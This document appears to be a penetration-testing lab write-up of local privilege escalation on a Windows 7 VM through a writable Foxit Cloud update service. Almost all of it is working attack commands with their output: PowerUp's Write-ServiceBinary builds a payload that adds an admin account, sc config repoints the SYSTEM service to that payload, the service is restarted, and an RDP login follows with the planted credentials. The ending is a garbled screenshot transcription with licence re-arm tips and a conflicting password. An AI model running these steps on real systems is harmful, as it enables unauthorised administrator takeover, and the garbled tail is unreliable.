

## LPE via modifying binary path name

Using write-servicebinary module from powerup, I will create service.exe in the current directory

```
PS > Write-ServiceBinary -Name 'FoxitCloudUpdateService'

ServiceName          Path          Command
-----
-FoxitCloudUpdateService C:\tmp\service.exe net user john
Password123! /add && t...

PS > ls service.exe

Directory: C:\tmp

Mode                LastWriteTime         Length Name
----
-a---             10/22/2021   7:25 AM          22016 service.exe

PS >
```

Then I copy service.exe to C:\Program Files\Foxit Software\Foxit Reader\Foxit Cloud.

```
C:\tmp>copy service.exe "C:\Program Files\Foxit Software\Foxit Reader\Foxit Cloud\"
copy service.exe "C:\Program Files\Foxit Software\Foxit Reader\Foxit Cloud\"
1 file(s) copied.

C:\tmp>dir "C:\Program Files\Foxit Software\Foxit Reader\Foxit Cloud\service.exe"
dir "C:\Program Files\Foxit Software\Foxit Reader\Foxit Cloud\service.exe"
Volume in drive C is Windows 7
Volume Serial Number is D055-099C

Directory of C:\Program Files\Foxit Software\Foxit Reader\Foxit Cloud

10/22/2021  07:25 AM                22,016 service.exe
             1 File(s)                22,016 bytes
             0 Dir(s)  28,090,888,192 bytes free

C:\tmp>
```

I check the original path and binary for the foxitupdateservice

```
C:\tmp>sc qc FoxitCloudUpdateService
sc qc FoxitCloudUpdateService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FoxitCloudUpdateService
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE          : 2    AUTO_START
        ERROR_CONTROL        : 1    NORMAL
        BINARY_PATH_NAME     : C:\Program Files\Foxit Software\Foxit Reader\Foxit
Cloud\FUpdateService.exe
        LOAD_ORDER_GROUP    :
        TAG                  : 0
        DISPLAY_NAME         : Foxit Cloud Safe Update Service
        DEPENDENCIES         :
        SERVICE_START_NAME  : LocalSystem

C:\tmp>
```

Then I modified the path to the binary

```
C:\tmp>sc config FoxitCloudUpdateService binpath= "C:\Program Files\Foxit Software\Foxit
Reader\Foxit Cloud\service.exe"
```

```
sc config FoxitCloudUpdateService binpath= "C:\Program Files\Foxit Software\Foxit Reader\Foxit
Cloud\service.exe"
[SC] ChangeServiceConfig SUCCESS
```

I check the resulting status for foxitupdate service. I found that the resulting binary path has been changed to point to a malicious binary.

```
C:\tmp>sc qc FoxitCloudUpdateService
sc qc FoxitCloudUpdateService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FoxitCloudUpdateService
        TYPE               : 110    WIN32_OWN_PROCESS (interactive)
        START_TYPE          : 2      AUTO_START
        ERROR_CONTROL        : 1      NORMAL
        BINARY_PATH_NAME     : C:\Program Files\Foxit Software\Foxit Reader\Foxit
Cloud\service.exe
        LOAD_ORDER_GROUP     :
        TAG                  : 0
        DISPLAY_NAME         : Foxit Cloud Safe Update Service
        DEPENDENCIES         :
        SERVICE_START_NAME   : LocalSystem

C:\tmp>
```

I restarted the foxitupdate service.

```
C:\tmp>sc stop FoxitCloudUpdateService
sc stop FoxitCloudUpdateService

SERVICE_NAME: FoxitCloudUpdateService
        TYPE               : 110    WIN32_OWN_PROCESS (interactive)
        STATE                : 1      STOPPED
        WIN32_EXIT_CODE       : 0      (0x0)
        SERVICE_EXIT_CODE    : 0      (0x0)
        CHECKPOINT           : 0x0
        WAIT_HINT            : 0x0

C:\tmp>sc start FoxitCloudUpdateService
sc start FoxitCloudUpdateService

SERVICE_NAME: FoxitCloudUpdateService
        TYPE               : 110    WIN32_OWN_PROCESS (interactive)
        STATE                : 2      START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE       : 0      (0x0)
        SERVICE_EXIT_CODE    : 0      (0x0)
        CHECKPOINT           : 0x0
        WAIT_HINT            : 0x7d0
        PID                  : 4444
        FLAGS                 :

C:\tmp>
```

Notice how there is an additional user named john with administrator privileges.

```
C:\tmp>net user
net user

User accounts for \\IE8WIN7

-----
Administrator          Escalate          Guest
john                    low_priv          reg_priv
The command completed successfully.

C:\tmp>net user john
net user john
```

```
User name                john
Full Name
Comment
User's comment
Country code             000 (System Default)
Account active           Yes
Account expires          Never

Password last set        10/22/2021 7:33:58 AM
Password expires         12/3/2021 7:33:58 AM
Password changeable      10/22/2021 7:33:58 AM
Password required        Yes
User may change password Yes

Workstations allowed     All
Logon script
User profile
Home directory
Last logon              Never

Logon hours allowed      All

Local Group Memberships  *Administrators  *Users
Global Group memberships *None
The command completed successfully.

C:\tmp>
```

## Gaining access

Notice that I can now rdp as john

```
[user@parrot]--[~/Desktop]
└─$ rdesktop -z -u 'john' -p 'Password123!' ie8win7
```

rdesktop - ie8win7

Recycle Bin

Foxit Reader

Host Name: IE8WIN7


IE Version: 8.0.7601.17514

OS Version: Windows 7

Service Pack: Service Pack 1

User Name: john

Password: Passw0rd!



<http://modern.IE>

Administrator: C:\Windows\System32\cmd.exe

Microsoft Windows [Version 6.1.7601]  
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C:\Windows\system32>whoami  
ie8win7\john

C:\Windows\system32>whoami /priv

PRIVILEGES INFORMATION

Privilege Name	Description	State
SeIncreaseQuotaPrivilege	Adjust memory quotas for a process	Disabl
SeSecurityPrivilege	Manage auditing and security log	Disabl
SeTakeOwnershipPrivilege	Take ownership of files or other objects	Disabl
SeLoadDriverPrivilege	Load and unload device drivers	Disabl
SeSystemProfilePrivilege	Profile system performance	Disabl


prompt (right-click on **Command Prompt** and select the **Run as Administrator** option).

Show current license, time remaining, re-arm count (all except Windows XP):  
**slmgr /dlv**


Re-arm (all except Windows XP). Requires reboot.  
**slmgr /rearm**

Re-arm (Windows XP only). Note that no error is given in the case no rearms are left.  
**rundll32.exe syssetup.SetupOobeBnk**

For Windows 8, 8.1 and 10, you will **NOT** be able to re-arm the trial.



EN



7:38 AM  
10/22/2021